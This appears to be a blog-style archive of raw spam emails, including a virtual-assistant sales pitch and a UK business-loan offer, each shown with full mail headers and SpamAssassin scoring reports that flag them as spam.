=?Windows-1252?Q?EwbERuShXpEgMfQqqdH971kWctQVfbjP7IeOK3NxqqUUzA0cUVlL9HI7?=
=?Windows-1252?Q?dufBT+JUFwjHKYVcTWHEniQMdv7djZrT5FeDECArgo9tHYULtEuMYMhc?=
=?Windows-1252?Q?Vvtg+Y0b9iky0nl6m9iao08+B/6ArDMOL7m8pQT7psXNauS8cFZBng1D?=
=?Windows-1252?Q?NnAzkFwDsdFRhFslhDq56qVnz2V/N+dHhR298vV9FLvRfNOzC7WH8Qh0?=
=?Windows-1252?Q?QJpbjeyE0p1MKu4xb3WUwftmN0uLTRxolNCgfL7DZwNE9GVIcAfWAyqW?=
=?Windows-1252?Q?+A3/dNibUb0XyddbxHa/f3i+KuiGOue2PhQUNaNZ1gqJ1SULVzHg14at?=
=?Windows-1252?Q?m78Hi77+Me+kidPC7eweerZfo/IZ3ypgOeSvgCSOSFcvwE9l4Jq0hE/H?=
=?Windows-1252?Q?BMefVdImAIHDeTIUgyUbcEzVpFccMj1RHJMzEQQOUIz+YSnD+S+buOLu?=
=?Windows-1252?Q?20FCRGgTXQxPwNiRFJwgkZBSZJysLAiie7L1SokL/bW1hbcZRL9p+y7D?=
=?Windows-1252?Q?B14uYdYcYTzQobN7j4vQDHYWjWRpTt2qFSLnjdrnAzK+PllZ8MCPVi90?=
=?Windows-1252?Q?4AHO7gnWQdmG/609S41J5iIxheV3g0pf1H0Gse5nWpRljqM5cDN5pOGF?=
=?Windows-1252?Q?Hbd1SpyhBqAMLLWTBNaYHxVWqPFWJ6mGpGH/160gnreRXkLC?=
Content-Type: multipart/alternative;
boundary="_000_SEYPR01MB5147D13070D90D765B781222E8D7ASEYPR01MB5147apcp_"
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SEYPR01MB5147.apcprd01.prod.exchangelabs.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: 9d397ded-51b7-445b-5d58-08de2779d024
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Nov 2025 14:42:06.9504
(UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYSPR01MB6029
X-Spam_score: 7.3
X-Spam_score_int: 73
X-Spam_bar: +++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hi, Daily admin tasks can slow down your focus on growth.
I offer Virtual Assistant support for: Email & calendar management Data
entry & research Reports & admin coordination
Content analysis details: (7.3 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
[52.103.66.52 listed in dnsbl.ahbl.org]
[52.103.66.52 listed in dnsbl.ahbl.org]
[52.103.66.52 listed in dnsbl.ahbl.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[dnsbl.ahbl.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[dnsbl.ahbl.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[dnsbl.ahbl.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[52.103.66.52 listed in psbl.surriel.com]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[52.103.66.52 listed in wl.mailspike.net]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.0 ARC_SIGNED Message has a ARC signature
0.0 ARC_VALID Message has a valid ARC signature
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
domain
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[davidbecham.nic(at)outlook.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Re: Let Me Handle Your Routine Tasks
--_000_SEYPR01MB5147D13070D90D765B781222E8D7ASEYPR01MB5147apcp_
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
Hi,
Daily admin tasks can slow down your focus on growth. I offer Virtual Assis=
tant support for:
Email & calendar management
Data entry & research
Reports & admin coordination
I=92d love to show how you can save hours each week.
Can we schedule a quick 10-minute chat?
Best regards,
David
--_000_SEYPR01MB5147D13070D90D765B781222E8D7ASEYPR01MB5147apcp_
Content-Type: text/html; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
252">
11pt; color: rgb(0, 0, 0);">
Hi,
11pt; color: rgb(0, 0, 0);">
amily: Calibri, sans-serif; font-size: 11pt;">
Daily admin tasks can slow down your focus on growth. I offer Virtual Assis=
tant support for:
ltr; line-height: 115%; margin: 0in 0in 10pt;">
Email & calendar management
-serif; font-size: 11pt; direction: ltr; line-height: 115%; margin: 0in 0in=
10pt;">
Data entry & research
; font-size: 11pt; direction: ltr; line-height: 115%; margin: 0in 0in 10pt;=
">
Reports & admin coordination
amily: Calibri, sans-serif; font-size: 11pt;">
I=92d love to show how you can save hours each week.
Can we schedule a quick 10-minute chat?
amily: Calibri, sans-serif; font-size: 11pt;">
Best regards,
amily: Calibri, sans-serif; font-size: 11pt;">
David
--_000_SEYPR01MB5147D13070D90D765B781222E8D7ASEYPR01MB5147apcp_--
Business Financing spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:51:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLiZo-00000000JiK-3DKc
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:50:28 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 06:50:28 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-ej1-f47.google.com ([209.85.218.47]:55417)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLi1x-00000000FwJ-0zVm
for doctor@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:15:39 -0700
Received: by mail-ej1-f47.google.com with SMTP id a640c23a62f3a-b72bf7e703fso1077522566b.2
for; Wed, 19 Nov 2025 05:14:42 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763558075; x=1764162875; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=W6A35Zj0xa3qUQ6/o3+mKd8T3Zrlfv6V6pcZpe+lNfQ=;
b=LTjALxuw6A3HE22dvGa1RaNZR99EGrw95lygWMlOCjcp/njNEZlsS9Cotx6LfnYzVO
RLnVqMwI1Er6Bih9hTAPExlNrIPHjEIBVbecovkdwfWQpeGso3BzcBqQ9Iihy1MA6SKG
K9cBcJirWiVXRrha8OzCy5Tu1Fdz4NFHdx/mIbH3LsblZEDzgoZMxLIVk3agnFO5sS4R
GWNMOP/kXpe7ZJyNRpw6Bhdn0lpnKgg0j0cYrlJS2ibSba9ThSFSMi5FB9SEG/Px3xYp
8tHNKPvMoXhfDVk/lpbPA5TIkVdHP2/rPBWxLp32stlaAw+Ih5kf4PYL8OHhs8EDzUVN
8TOA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763558075; x=1764162875;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=W6A35Zj0xa3qUQ6/o3+mKd8T3Zrlfv6V6pcZpe+lNfQ=;
b=kQYH7Fv0SvtR1GskNe/a4vZh0H+jvwx+/Tti5AImd/ED+CbYzl6PlOINGRjlSjqdrc
e4dr3VFgryoFIj/f/Xs5cCfXUs73jYEnE8T6cLvtC1uFcBf3weLmoK3RcB+txcMeIbj/
HPxnj7ovgVT5gE/jtt16HDjuVDk/hg+rD5zD+3Pc0vJkMyNpLrWoQna2d4e88fgpAhyR
5ojvbnlHUEpNPNCmdn7Ssf2pYHMhaeTOhjzEqvgaroIzjoIdDVT3vKbPaY3+wPDWIt+y
X67ZIQmH/sFt6arl5YJ91Q9j5ZKdf4skG9zJgioiZfQ+NhbidWztR7692Ot9OPaI0sER
LIaw==
X-Forwarded-Encrypted: i=1; AJvYcCVjKOtm1AFVm7pToxx8lqiAcVbz4FCOQoy8BiDGEvzYdJpIOBtKqaRzlW+WQ++0IiPq0bWUZaQ=@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0Yxtrk5b61xyGgsTAD+pJJRQMmq9FsvKl4ENj6wpWTbeTk1g9VTu
TP6soGoPkfy3NA24AkGd2EPFRJYWbB6h5uSVXQY4lwjuYPFz5muNddNoh7nTZwnLVrgVcOS3mAb
V1ZBxVBAchzmeRp3vS0qMISSAQoyGRrw=
X-Gm-Gg: ASbGnctcGjMyh10ybBy0IXyGvWtrRWjUXM+U9mLmFSb/jPu2QrTk14KAKGYnVe6drtv
yVBDZdH5ah9To9dwZHlMZAAHLbqmxm2bXADImiGlYp5QTwtIrKErJA+M7Evf3BtB9gYyFTCaKDD
ZpAnLkGVSLqV1ZtXp5yUUDXGVei7e8qOssyJk8vdSYmjU0yUlpvtVeL/DAw7EAt4N1cVrTXnuuw
GpaxXU2xiotpGp4Ci+1knSeOcHp3xlsi1MsKnGCpDlZWzs+KDJB5m7Zo1MPagW2R2W+mROvdbo=
X-Google-Smtp-Source: AGHT+IGR/S6Tdv4lTYW7s1fUYlO/Purt8zo7/Qhzj7Ot6niCFyDRuxyVVhIDaVGgr3PZvbK8XrMwv5PhazA/1nxHJFk=
X-Received: by 2002:a17:907:748:b0:b72:8398:f248 with SMTP id
a640c23a62f3a-b7367869a36mr1987154266b.2.1763558075313; Wed, 19 Nov 2025
05:14:35 -0800 (PST)
MIME-Version: 1.0
From: Frank Morgan
Date: Wed, 19 Nov 2025 04:14:23 -0900
X-Gm-Features: AWmQ_blu0gfiVHLnLAMq8x0CBsuRciVy8YBS232ZpLX6NBQbP8TdTzOXYUIjS-I
Message-ID:
Subject: VBN
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000009eb2e30643f25c8c"
Bcc: doctor@doctor.nl2k.ab.ca
X-Spam_score: 6.4
X-Spam_score_int: 64
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hello, Our organization is offering Business/Investment Loan,Agricultural
loan, working capital, debt financing and with potential prospects Here in
the UK. We can help your business or that of a client/ friend devise a plan
for success.
Content analysis details: (6.4 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
[209.85.218.47 listed in dnsbl.ahbl.org]
[209.85.218.47 listed in dnsbl.ahbl.org]
[209.85.218.47 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.218.47 listed in list.dnswl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[fm483554(at)gmail.com]
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
digit
[fm483554(at)gmail.com]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.218.47 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} VBN
--0000000000009eb2e30643f25c8c
Content-Type: text/plain; charset="UTF-8"
Hello,
Our organization is offering Business/Investment Loan,Agricultural loan,
working capital, debt financing and with potential prospects Here in the UK.
We can help your business or that of a client/ friend devise a plan for
success.
Terms and conditions apply.
Best regards
Frank
--0000000000009eb2e30643f25c8c
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
--0000000000009eb2e30643f25c8c--
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:51:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLiZo-00000000JiK-3DKc
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:50:28 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 06:50:28 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-ej1-f47.google.com ([209.85.218.47]:55417)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLi1x-00000000FwJ-0zVm
for doctor@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:15:39 -0700
Received: by mail-ej1-f47.google.com with SMTP id a640c23a62f3a-b72bf7e703fso1077522566b.2
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763558075; x=1764162875; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=W6A35Zj0xa3qUQ6/o3+mKd8T3Zrlfv6V6pcZpe+lNfQ=;
b=LTjALxuw6A3HE22dvGa1RaNZR99EGrw95lygWMlOCjcp/njNEZlsS9Cotx6LfnYzVO
RLnVqMwI1Er6Bih9hTAPExlNrIPHjEIBVbecovkdwfWQpeGso3BzcBqQ9Iihy1MA6SKG
K9cBcJirWiVXRrha8OzCy5Tu1Fdz4NFHdx/mIbH3LsblZEDzgoZMxLIVk3agnFO5sS4R
GWNMOP/kXpe7ZJyNRpw6Bhdn0lpnKgg0j0cYrlJS2ibSba9ThSFSMi5FB9SEG/Px3xYp
8tHNKPvMoXhfDVk/lpbPA5TIkVdHP2/rPBWxLp32stlaAw+Ih5kf4PYL8OHhs8EDzUVN
8TOA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763558075; x=1764162875;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=W6A35Zj0xa3qUQ6/o3+mKd8T3Zrlfv6V6pcZpe+lNfQ=;
b=kQYH7Fv0SvtR1GskNe/a4vZh0H+jvwx+/Tti5AImd/ED+CbYzl6PlOINGRjlSjqdrc
e4dr3VFgryoFIj/f/Xs5cCfXUs73jYEnE8T6cLvtC1uFcBf3weLmoK3RcB+txcMeIbj/
HPxnj7ovgVT5gE/jtt16HDjuVDk/hg+rD5zD+3Pc0vJkMyNpLrWoQna2d4e88fgpAhyR
5ojvbnlHUEpNPNCmdn7Ssf2pYHMhaeTOhjzEqvgaroIzjoIdDVT3vKbPaY3+wPDWIt+y
X67ZIQmH/sFt6arl5YJ91Q9j5ZKdf4skG9zJgioiZfQ+NhbidWztR7692Ot9OPaI0sER
LIaw==
X-Forwarded-Encrypted: i=1; AJvYcCVjKOtm1AFVm7pToxx8lqiAcVbz4FCOQoy8BiDGEvzYdJpIOBtKqaRzlW+WQ++0IiPq0bWUZaQ=@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0Yxtrk5b61xyGgsTAD+pJJRQMmq9FsvKl4ENj6wpWTbeTk1g9VTu
TP6soGoPkfy3NA24AkGd2EPFRJYWbB6h5uSVXQY4lwjuYPFz5muNddNoh7nTZwnLVrgVcOS3mAb
V1ZBxVBAchzmeRp3vS0qMISSAQoyGRrw=
X-Gm-Gg: ASbGnctcGjMyh10ybBy0IXyGvWtrRWjUXM+U9mLmFSb/jPu2QrTk14KAKGYnVe6drtv
yVBDZdH5ah9To9dwZHlMZAAHLbqmxm2bXADImiGlYp5QTwtIrKErJA+M7Evf3BtB9gYyFTCaKDD
ZpAnLkGVSLqV1ZtXp5yUUDXGVei7e8qOssyJk8vdSYmjU0yUlpvtVeL/DAw7EAt4N1cVrTXnuuw
GpaxXU2xiotpGp4Ci+1knSeOcHp3xlsi1MsKnGCpDlZWzs+KDJB5m7Zo1MPagW2R2W+mROvdbo=
X-Google-Smtp-Source: AGHT+IGR/S6Tdv4lTYW7s1fUYlO/Purt8zo7/Qhzj7Ot6niCFyDRuxyVVhIDaVGgr3PZvbK8XrMwv5PhazA/1nxHJFk=
X-Received: by 2002:a17:907:748:b0:b72:8398:f248 with SMTP id
a640c23a62f3a-b7367869a36mr1987154266b.2.1763558075313; Wed, 19 Nov 2025
05:14:35 -0800 (PST)
MIME-Version: 1.0
From: Frank Morgan
Date: Wed, 19 Nov 2025 04:14:23 -0900
X-Gm-Features: AWmQ_blu0gfiVHLnLAMq8x0CBsuRciVy8YBS232ZpLX6NBQbP8TdTzOXYUIjS-I
Message-ID:
Subject: VBN
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000009eb2e30643f25c8c"
Bcc: doctor@doctor.nl2k.ab.ca
X-Spam_score: 6.4
X-Spam_score_int: 64
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hello, Our organization is offering Business/Investment Loan,Agricultural
loan, working capital, debt financing and with potential prospects Here in
the UK. We can help your business or that of a client/ friend devise a plan
for success.
Content analysis details: (6.4 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
[209.85.218.47 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
[209.85.218.47 listed in dnsbl.ahbl.org]
[209.85.218.47 listed in dnsbl.ahbl.org]
[209.85.218.47 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.218.47 listed in dnsbl.ahbl.org]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.218.47 listed in list.dnswl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[fm483554(at)gmail.com]
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
digit
[fm483554(at)gmail.com]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.218.47 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} VBN
--0000000000009eb2e30643f25c8c
Content-Type: text/plain; charset="UTF-8"
Hello,
Our organization is offering Business/Investment Loan,Agricultural loan,
working capital, debt financing and with potential prospects Here in the UK.
We can help your business or that of a client/ friend devise a plan for
success.
Terms and conditions apply.
Best regards
Frank
--0000000000009eb2e30643f25c8c
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
Hello,
Our organization is offering Business/Investment=
Loan,Agricultural loan, working capital, debt financing and with potential=
prospects Here in the UK.
We can help your business or that of a cl=
ient/ friend devise a plan for success.
Terms and conditions apply.<=
br>
Best regards
Frank
Our organization is offering Business/Investment=
Loan,Agricultural loan, working capital, debt financing and with potential=
prospects Here in the UK.
We can help your business or that of a cl=
ient/ friend devise a plan for success.
Terms and conditions apply.<=
br>
Best regards
Frank
--0000000000009eb2e30643f25c8c--
Virtual Assistant spam from Microsoft Outlook
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:51:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLiZV-00000000JgP-3CSN
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:50:09 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 06:50:09 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-japaneastazolkn19013075.outbound.protection.outlook.com ([52.103.43.75]:17989 helo=TYDPR03CU002.outbound.protection.outlook.com)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLhqU-00000000EXv-0ZBm
for sales@nk.ca;
Wed, 19 Nov 2025 06:03:49 -0700
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
b=lzBzN/bDo//OPV4ooc/i497HXGofAx1ecHGbcnbknseF8NJcP92Y6+neIH+EFMQF8ZC6PmuNFj877nhD9Z26j7zpjrNyPumKK7748MVdXyUHVqeetnyvT7YR4Mwt573tJe9DENn4CKFa4IVrJ1Um6lW8qkFfiGD4b6R3iwowBhNBNNwRBEEStQumvBxXa5TfoIJ9hiBAS2pI+CY2P7zcbcwiQyZMWiq/D9Y4zUr+mE+jpirsYfuBcu4RvlFlg6eeWCBNapqt5DocEjJO9H6TV+B966KrfnaFDKH4FN/1wgOBp+IHdsE+u3u868P34m3kgk2p4TT6SlXY5jVRe3iO3Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
s=arcselector10001;
h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
bh=6UipF1POYDC2T/t50QrXLz5NR1Pum8ceAZjUfqzfNXE=;
b=uTcuXgI7jXeCLgzxCSZYpHFUvjxj5aa4O4lgHGfugsgfoVnROWo7dbDstXIY60mAdaBbBJgkuavQ3yVxQhKcy/SJQZMEBNBIkg6LUt1uay9obpeY7d1/LTwH0QVYLmdyN0Osc06bC96FMO20RB3+vVe2+iWG3nfopR6vrnwQVymq7uLKvNg0RLZ7NoaPE9hlR+CHNzSXjUr1LA6HbV9hn+c2CK6n1n3/U4S+X6b6xomcK41lJ1r/6Es3GK3Q5ESre7uXEBAZ1zBlDhb+2R0FTqtp9+ZrNTJ/ppOeIzm9X12oZxBtMCWVFp59t76pdASQmn1hiqloQzt3c70ELEaF0Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
s=selector1;
h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
bh=6UipF1POYDC2T/t50QrXLz5NR1Pum8ceAZjUfqzfNXE=;
b=BPbnnFg8yeyYyMJK8VHjnYtKIdINe9uOWgPgbAJ7BXN8wOM1bc2DHHIPMoWw2EY9amXfImHZeFVdBncsstiR2XX0aefihAa/TKHC9dP4UjTBWSKhSiRZwzj6q5btwbKx2Bh00Pa57tUKYzpjTcGG2ac394Q3DSkKJrB5iI2q6n2qigsFe4/tA03QZlbRYeh0Xr1J6X+5gSO6Jw1j7w4W/1CAUC2NIPvbIyzPXN/VfeAWQErG0x1eVpKVmQQkRidGzWNKEIbKpQqFHPtNUzAHnTvFICds6e6acRhZxpohzRd6ZvAOIXIdX9qEHxORRbrpvBa4/FrNFJJ+qlYjuRlwYQ==
Received: from SEZPR01MB5748.apcprd01.prod.exchangelabs.com
(2603:1096:101:196::10) by SG2PPF51BBEBCD7.apcprd01.prod.exchangelabs.com
(2603:1096:f:fff6::420) with Microsoft SMTP Server (version=TLS1_2,
cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.9298.8; Wed, 19 Nov
2025 13:02:01 +0000
Received: from SEZPR01MB5748.apcprd01.prod.exchangelabs.com
([fe80::9e85:3ca2:fb90:82d3]) by SEZPR01MB5748.apcprd01.prod.exchangelabs.com
([fe80::9e85:3ca2:fb90:82d3%7]) with mapi id 15.20.9343.009; Wed, 19 Nov 2025
13:02:01 +0000
From: Milton Thomas
To: Milton Thomas
